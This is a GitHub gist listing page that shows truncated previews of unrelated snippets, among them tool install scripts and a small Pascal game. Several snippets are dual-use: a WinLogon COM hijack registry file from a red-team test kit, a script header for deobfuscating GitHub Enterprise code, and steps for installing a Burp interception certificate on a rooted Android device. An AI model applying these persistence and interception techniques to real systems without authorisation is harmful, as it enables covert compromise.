Skip to content

Instantly share code, notes, and snippets.

@tsondt
tsondt / install-tmux.sh
Created June 29, 2022 05:17 — forked from muralisc/install-tmux.sh
Install tmux 3.0a on Amazon Linux 2 / rhel /centos
# Install tmux 3.0a on Centos
# install deps
sudo yum install -y gcc kernel-devel make ncurses-devel
# DOWNLOAD SOURCES FOR LIBEVENT AND MAKE AND INSTALL
curl -LOk https://github.com/libevent/libevent/releases/download/release-2.1.11-stable/libevent-2.1.11-stable.tar.gz
tar -xf libevent-2.1.11-stable.tar.gz
cd libevent-2.1.11-stable
./configure --prefix=/usr/local

FWIW: I'm not the author of the content presented here (which is an outline from Edmond Lau's book). I've just copy-pasted it from somewhere over the Internet, but I cannot remember what exactly the original source is. I was also not able to find the author's name, so I cannot give him/her the proper credits.


Effective Engineer - Notes

What's an Effective Engineer?

@tsondt
tsondt / uninstall-zoom.sh
Created July 9, 2019 18:57
Uninstall Zoom on Mac
#!/bin/bash
# https://support.zoom.us/hc/en-us/articles/201362983-How-to-uninstall-Zoom-on-a-Mac-
rm -rf ~/.zoomus/
rm -rf ~/Applications/zoom.us.app/
rm -rf ~/Library/Application\ Support/zoom.us/
rm -rf /Applications/zoom.us.app/
rm -f /System/Library/Extensions/ZoomAudioDevice.kext
{-------- ROBOX Ver 1.5 ---------}
{-- Written by Dinh Tran Thai Son and Nguyen Tan Thai Hung --}
program Robox;
uses crt;
var i,j,left1,left2,up1,up2,menu,c,l:byte;
keypress:char;
b:array [1..23,1..15] of byte;
die1,die2,quit:boolean;
name1,name2:string;
const
#!/usr/bin/sudo sh
## ruby_revealer.sh -- decrypt obfuscated GHE .rb files. 2.0.0 to 2.3.1+.
## From `strings ruby_concealer.so`:
##
## > This obfuscation is intended to discourage GitHub Enterprise customers
## > from making modifications to the VM.
##
## Well, good, as long as its not intended to discourage *me* from doing this!
@tsondt
tsondt / bash.md
Created February 20, 2018 23:02 — forked from githubutilities/bash.md
cURL, git, ssl in Jailbreak iPhone

Change default shell

Editing /etc/passwd won't work in iOS, so in order to change default shell in iOS you need to edit /etc/master.passwd. You can change root's default shell to bash like this -- root:/smx7MYTQIi2M:0:0::0:0:System Administrator:/var/root:/bin/bash.

Reference

@tsondt
tsondt / winlogon.reg
Created February 12, 2018 17:00 — forked from anonymous/winlogon.reg
WinLogon Windows 7 x64 COM Hijack
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam.1.00\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam]
@="AtomicRedTeam"
[HKEY_CURRENT_USER\SOFTWARE\Classes\AtomicRedTeam\CLSID]
@="{00000001-0000-0000-0000-0000FEEDACDC}"
[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}]
@tsondt
tsondt / add-burp-ca-certificate-to-a-rooted-android-device.md
Last active February 2, 2018 18:22
Add Burp CA certificate to a rooted Android device
  • Export the CA certificate: Proxy -> Options -> Import / Export CA certificate -> Export certificate in DER format
  • Prepare the certificate in the correct format:
openssl x509 -in cacert.der -inform DER -outform PEM >> "$(openssl x509 -inform DER -in cacert.der -subject_hash | head -1).0"
openssl x509 -in cacert.der -inform DER -text -noout >> "$(openssl x509 -inform DER -in cacert.der -subject_hash | head -1).0"
  • Copy the certificate into /etc/security/cacerts:
    • On the machine shell:

adb push xxxxxxxx.0 /sdcard/

@tsondt
tsondt / jose-example.rb
Created January 22, 2018 17:21
JOSE example
require 'jose'
class User
attr_accessor :email, :puid, :ec_key
def initialize(email, puid, ec_key = ECKey.new)
@email = email
@puid = puid
@ec_key = ec_key
end